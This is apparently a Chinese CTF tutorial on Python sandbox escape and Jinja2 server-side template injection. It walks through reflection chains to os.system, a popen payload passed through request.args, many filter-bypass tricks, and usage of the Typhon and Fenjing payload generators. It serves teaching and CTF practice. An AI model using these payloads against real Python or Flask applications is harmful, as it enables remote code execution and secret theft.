在CTF竞赛中,Pyjail(Python 沙箱逃逸)SSTI(服务端模板注入) 是两类常见题目,核心目标都是在受限环境中构建可控的执行链条以实现代码执行。jail通常限制代码执行环境,如禁用某些关键字或模块,而SSTI则是在模板引擎中注入恶意代码。尽管场景不同,二者都依赖Python的反射机制,通过魔法方法如__class__、base、__subclasses__等,从基础对象如字符串逐步追溯到object,再挖掘出可用的子类和函数,最终实现代码执行。无论是手动分析还是脚本自动化,掌握这一核心逻辑是破解这两类题目的关键。

攻击者的目标始终如一:在一个本不该执行任意代码的环境中,利用已有的对象和引用,手动拼凑出一条通往系统 Shell 的“路径”。 这就像是在一间锁死的房间里,利用现有的铁丝、衣架和杠杆原理,最终撬开通往外界的大门。


一、Python 对象体系与反射基石

要理解逃逸,必须先理解 Python 是如何管理对象的。

1.1 万物皆对象

在 Python 中,无论是字符串、整数、函数还是模块,都是 object 的派生。每一个对象都携带了指向其元数据的指针。

1.2 反射:黑客的探测雷达

反射是指程序在运行时能够访问、检测和修改其状态或行为的能力。在 Python 逃逸中,我们主要利用以下“魔术属性”:

  1. __class__:返回对象所属的类。这是我们逃离“实例层”进入“类层”的第一步。
  2. __mro__ (Method Resolution Order):返回一个元组,展示了该类继承的完整路径,通常最后一个元素是 <class 'object'>
  3. __subclasses__():这是最关键的方法。它能列出内存中当前所有继承自该类的子类。
  4. __init__:获取类的初始化函数。
  5. __globals__获取函数定义所在的全局命名空间字典。 这是连接“受限对象”与“危险模块”的核心桥梁。
  6. __builtins__:Python 的内置函数包(包含 eval, exec, __import__, open 等)。

二、经典逃逸链条的构建艺术

2.1 寻找“始祖”:object

大多数逃逸都从一个随处可见的基础对象开始,例如空字符串 ""、空列表 [] 或数字 0

# 获取 object 类
"".__class__.__mro__[-1] 
# 或者
[].__class__.__base__

2.2 挖掘子类:__subclasses__()

通过 object 类,我们可以窥探内存中所有加载的类。

# 列出所有子类
classes = "".__class__.__mro__[-1].__subclasses__()

在一个标准的 Python 环境中,这个列表可能包含数百个类。我们需要从中寻找包含敏感模块引用的类。

2.3 寻找“跳板”:危险子类分析

我们寻找的目标通常是那些引入了 ossyssubprocess 的类。

  • os._wrap_close:这个类通常位于子类列表的某个位置,它的 __init__.__globals__ 往往直接包含 os 模块。
  • site._Printer:常用于获取 os
  • warnings.catch_warnings:这个类通常被用来逃逸,因为它不仅常用,而且其全局命名空间中经常包含 sys 模块。

2.4 最终打击:执行命令

一旦找到了跳板类(假设索引为 132),我们就可以构造最终 Payload:

"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['os'].system('cat /flag')


三、Pyjail 的五大防御及其破局之道

出题人不会让我们轻易通过。他们会设置层层阻碍:

3.1 字符与关键词黑名单 (Banned Keywords)

限制: 禁止使用 os, import, __builtins__, eval 等。
绕过策略:

  • 字符串拼接'o' + 's''__clas' + 's__'
  • 反转与切片'so'[::-1]
  • 十六进制/Unicode 编码'\x5f\x5fclass\x5f\x5f'
  • **利用 getattr()**:通过 getattr(object, "__cla"+"ss__") 动态获取属性。

3.2 符号限制 (No Dots or Quotes)

限制: 禁用 .(点号)或双引号/单引号。
绕过策略:

  • 点号绕过:使用 getattr() 或字典访问 obj['__class__']
  • 引号绕过
  • 使用 chr() 拼接:chr(102)+chr(108)+chr(97)+chr(103)
  • 利用现有的字符串:从 str(len) 或其他对象的 __doc__ 中截取字符。
  • 利用 request.args (在 SSTI/Flask 中)。

3.3 命名空间清空 (Clean Builtins)

限制: __builtins__ 被设为 None,无法直接调用 evalopen
绕过策略:

  • 重新寻找 Builtins:即使全局命名空间被清空,只要能触达任何一个已加载的模块函数,其 __globals__['__builtins__'] 依然存在。
[].__class__.__base__.__subclasses__()[XX].__init__.__globals__['__builtins__']

3.4 AST(抽象语法树)限制

限制: 题目会解析你的代码树,禁止 ast.Attribute(点号访问)或 ast.Import
绕过策略:

  • 字典访问:将所有 a.b 替换为 getattr(a, 'b')a['b']
  • 内置函数替换:不使用 import 语句,而是使用 __import__('os')

3.5 长度限制

限制: Payload 必须在 30-50 字符以内。
绕过策略:

  • 短变量赋值a=().__class__; b=a.__base__...
  • 利用环境变量:如果环境中有可控的变量。

自动化利用:Typhon

假设一个 Python Jail 限制如下:

  • 不能使用 "'
  • 不能使用 os, sys, import
  • __builtins__ 为空。

Typhon 代码:

import Typhon

# 设置题目环境约束
banned = ['"', "'", "os", "sys", "import"]
scope = {'__builtins__': None, 'str': str}

# 自动化生成并执行
Typhon.bypassRCE(
    "cat /flag", 
    banned_chr=banned, 
    local_scope=scope,
    interactive=False # Web 环境下非交互模式
)

Typhon 会尝试使用数字拼接、chr() 转换以及从 str(str) 等对象中提取字符,最终生成一个复杂的但能完美避开过滤的 Payload。


四、SSTI (服务端模板注入) 的变化

SSTI 虽然利用了 Python 的反射,但其载体是模板引擎(如 Jinja2, Mako, Twig)。

4.1 模板引擎的“特权”变量

在 Jinja2 中,我们不仅有 Python 原生对象,还有模板引擎提供的辅助变量:

  • config:Flask 的配置对象,往往包含数据库密码、SECRET_KEY 等。
  • request:客户端请求对象。这是绕过字符过滤的神器。
  • self:指向当前模板上下文。

4.2 利用 request 绕过所有过滤

如果题目过滤了引号、点号,我们可以通过 request.args(GET 参数)或 request.cookies 来传入我们想要的字符串。
Payload 示例:

{{ self.__dict__._TemplateReference__context.joiner.__init__.__globals__[request.args.os].popen(request.args.cmd).read() }}&os=os&cmd=cat /flag

在这个例子中,Payload 本身不包含敏感字符,所有的“脏数据”都通过外部参数传入。

4.3 配置文件泄露

有时不需要执行命令,只需读取 Flask 的 config 即可拿到 Flag 或 Key。

{{ config.items() }}

自动化利用:Fenjing

绕过规则说明:

一、关键字符绕过

支持绕过以下关键字符:

  • '"
  • _
  • [
  • 绝大多数敏感关键字
  • 任意阿拉伯数字
  • +
  • -
  • *
  • ~
  • {{
  • %
  • ...
二、自然数绕过

支持同时绕过 0-9 以及加减乘除(+-*),具体方法如下:

  1. 十六进制表示
  2. 算术表达式形式:a*b+c
  3. 元组求和形式:(39,39,20)|sum
  4. 列表长度形式:(x,x,x)|length
  5. unicode 全角字符形式
三、‘%c’ 绕过

支持绕过以下内容,核心基于 %c 格式符:

  • 引号
  • g 关键字
  • lipsum 关键字
  • urlencode 编码
四、下划线绕过

支持通过以下方式绕过下划线(_):

  • lipsum|escape
  • batch(22)(其中数字 22 支持上述「自然数绕过」规则)
  • list|first
  • list|last
五、任意字符串绕过

支持绕过引号、任意字符串拼接符号、下划线和任意关键词,支持的形式如下:

  1. 单引号形式:'str'
  2. 双引号形式:"str"
  3. 十六进制转义形式:"\x61\x61\x61"
  4. 字典拼接形式:dict(__class__=x)|join(其中下划线支持上述「下划线绕过」规则)
  5. 格式化输出形式:'%c'*3%(97,97, 97)
    • 其中 %c 支持上述「%c 绕过」规则
    • 其中所有数字支持上述「自然数绕过」规则
  6. 字符串分段生成形式:将字符串切分成小段分别生成
六、属性绕过

支持的属性访问形式如下:

  1. 下标形式:['aaa']
  2. 点访问形式:.aaa
  3. attr 过滤器形式:|attr('aaa')
  4. Item 关键字形式
  5. 重复下标形式:['aaa']
  6. 重复点访问形式:.aaa
  7. 魔术方法形式:.__getitem__('aaa')

五、总结

为什么沙箱难以安全?

Python 的动态特性太强。只要存在对象引用,就无法彻底切断与全局空间的联系。

  • 递归引用:对象之间互相关联,形成了一个复杂的图结构。
  • 内置模块残留:许多内置模块在启动时就已经加载,无法通过简单的 del 删除。

给学习者的进阶之路

Pyjail(Python沙箱逃逸)和SSTI(服务器端模板注入)是CTF领域中,对选手Python底层机制掌握深度的终极考验。想要攻克这类题型,吃透核心知识点、掌握实战技巧缺一不可:

  1. 吃透基础核心概念
    理解并熟练运用 方法解析顺序(MRO,即继承链)全局命名空间(Globals) 是突破的关键。这两个概念是所有Payload构造的底层逻辑,也是CTF选手应对Pyjail/SSTI的核心基础。

  2. dir() 为核心探索环境
    在权限受限的沙箱环境中,dir() 是探索可用属性、方法的“唯一抓手”。熟练掌握 dir() 的使用场景和返回结果解读,才能摸清环境限制、找到逃逸突破口,这是从“被动解题”到“主动探索”的关键一步。

  3. 兼顾版本差异与工具活用
    一方面要关注Python版本特性:Python 3.10+ 新增了多项安全防护机制,类结构也有调整,基于旧版本编写的索引型Payload往往直接失效;另一方面要理性使用工具:Typhon、Fenjing等自动化工具能快速生成Payload,但核心是理解生成结果中每一个字符的含义,只有这样才能在工具失效时手动调整Payload,应对自定义限制规则。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐